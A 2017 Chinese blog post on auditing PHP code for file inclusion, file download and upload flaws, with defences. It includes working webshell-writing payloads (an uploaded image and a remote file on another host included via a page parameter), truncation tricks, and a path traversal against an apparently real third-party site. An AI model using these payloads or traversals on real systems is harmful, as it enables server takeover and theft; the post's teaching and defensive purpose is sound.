可我浪费着我寒冷的年华

代码审计学习之文件操作漏洞

PS:第一次发文,如果那里有差错万望朋友指出。如果在修补漏洞或者攻击技巧上面有什么好的姿势可以私我。我加上。

本篇文章主要分为了以下几个部分:

00x1 本地文件包含漏洞[lcoal file include简称:LFI]

00x2 远程文件包含漏洞[Removete File Include简称:RFI]

00x3 文件包含截断

00x4 审计一个文件包含漏洞

00x5 文件包含漏洞的防御

00x6 文件读取/及下载漏洞

00x7 文件上传漏洞审计实例

00x8 文件上传漏洞的应该如何防御


      介绍:在写代码的时候,为了方便,大多数的程序员都是将重复的代码单独的写到一个文件当中,然后要使用的时候直接使用包含函数包含然后调用。在方便程序员的同时也可能会引发今天要将的这个漏洞,那便是——文件包含漏洞

PHP当中常用的包含调用函数有这几种:include(),require()和include_once(),require_once()

Include:包含并运行指定的文件,当包含外部文件发生错误的时候,系统会给出警告,但整个PHP文件会继续执行

Require:与Include最大的差异就是在错误发生的时候,Require停止运行。

Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了

Require_once:语句和Require() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。

00x1 本地文件包含 [Local File Include即LFI]


     本地文件包含漏洞一般存在于模块加载、模板加载、cache调用这些地方。

一个简单测试的CODE:

<?php
if( !ini_get('display_errors') ) {//ini_get获取配置的值
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);//报告所有错误
$f = $_GET["file"];
if ($f){
require "".$f.".php";
}else{
print("No File Included");
}
?>

在同目录下放一个file.php

倘若我们这样访问的话:http://127.0.0.1/x.php?file=2,那么就会包含2.php了。

利用姿势。

  1.拿shell:

    上传一张图片到网站上去,假设路径为uploads/xxoo.jpg。

    图片的内容为:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>");?>

    然后访问这个URL:www.target.com/def.php?page=../uploads/xxoo.jpg

    就会在其目录生成一个shell.php的一句话木马,密码为x

  2.可以尝试包含其敏感的文件,比如mysql配置文件。甚至于知道路劲,包含其数据库、或者日志、以及还有一个姿势就是去包含一个不存在的文件会爆出网站的路径等等的。

 

00x2 远程文件包含 Remote File Include


     远程文件包含的基础就是要allow_url_fopen是开启的,当然了默认的也是开启的。假设我们要攻击的网站A(www.target.com)的www.target.com/def.php的page参数存在远程文件包含漏洞,那么我们可以在另外一个公网(www.hello.com/a.php)上写如下代码:

<?php 
fputs(fopen("shell.php","w"),"<?php eval(\$_POST[def]);?>");
//生成一个shell.php的文件,里面插入一句话木马,密码为def
?>

然后我们再访问这个URL:www.target.com/def.php?page=http://www.hello.com/a.txt然后就会在www.target.com/的根目录生成一个shell.php的一句话木马。如此便是远程命令执行。

测试成功效果图:

00x3 文件包含截断


 截断有三种方式:

  1. %00截断
  2. .....(wind下两百四十个小数点截断,linux下2038个/.组合才能截断)
  3. 问号伪截断

一:%00

  失败的可能因素:1.开启了GPC(默认为关闭)

                 2.PHP5.2.17之后的版本。(现在大多数PHP版本都是5.6左右的。甚至是7.x)

     由于我的PHP版本高于5.2.17所以就没办法演示了。

二:.....两百四十个小数点截断

测试代码:

<?php 
$str = '';
for ($i=0; $i <=240 ; $i++) { 
    $str .= '.';
 }
$a = $_GET['page'].$str.'.php';
include $a;
 ?>

三:?问号伪截断

测试代码:

<?php 
$a = $_GET['page'].'.php';
include $a;
 ?>

访问:http://127.0.0.1/include.php?page=http://127.0.0.1/2.jpg?

如图所示:

00x4 审计一个文件包含漏洞


拿DVWA做演示把。

漏洞文件在

 vulnerabilities\fi\index.php中的包含了一个$file变量

 

但是在文中找不到那么一个变量,那么我就去找被包含的文件了。

找到low.php看到其只有简单的那么几行代码。

倘若我们直接包含文件的话那么就可以很容易的被攻击者利用。

1.php的内容为输出:hello world

DVWA下载:http://www.freebuf.com/articles/web/7084.html

 

00x5 文件包含漏洞的防御


 包含一个文件其实是必不可少的,那么该如何文件包含漏洞呢?我的观点如下:

  • allow_url_include 设置为off
  • allow_url_open 设置为off
  • 对变量的文件进行判断,如下所示:
    •  
      <?php 
      $file = $_GET['page'];
      if ($file !='include.php') {
          echo "sorry,Error File.";
      }
       ?>

      

00x6 文件读取/及下载漏洞


一个案例带你认识何为文件下载漏洞

比如:http://www.epa.ae/download.php?filepath=circular&file=13.pdf

我们可以这样:http://www.epa.ae/download.php?filepath=circular&file=../download.php

就可以得到下图这个效果:

那么到底是缘何呢?我们来看看下载下来的代码

一打开文件就看到了那么浓浓的代码漏洞的气息。

第八行的变量$filename并没有任何过滤就带入了43行/44行进行打开和读取,由此产生文件读取漏洞。

00x7 文件上传漏洞


 

黑客可以通过上传漏洞获取webshell,进而控制网站权限。

文件上传分两种

  • 黑名单:指定的几个后缀不让你上传。 ps:这种容易遗漏所以不太安全
  • 白名单:指定几个后缀让你上传。

 

00x8 文件上传漏洞的应该如何防御


前几天面试,面试官问了我一个问题。因为早上九点多打电话给我安排我面试,下午一点四十分就开始面试,我是紧张的怂了,期间他问了我那么一个问题。

不懂代码的管理员要怎么防范上传漏洞带来的危害,我的回答是:WAF。然后面试官又问:公司因为经济有限买不起WAF咋办?我的回答是:使用晚上现有的编辑器。比如百度编辑器。

现在才觉得我的回答略傻。

  • 其实现有比较行之有效的是上传目录禁用其执行权限(这个应该就是面试官想要的答案)
  • 黑白名单结合
  • 对上传的文件名进行随意命名,可以按时间+md5

 

 

结语:错误在所难免,万望指出!虚心求指教。

 

 

 

 

正在努力学习中,待更新.

posted @ 2017-02-23 20:54  珍惜少年时  阅读(498)  评论(0编辑  收藏  举报
可我浪费着我寒冷的年华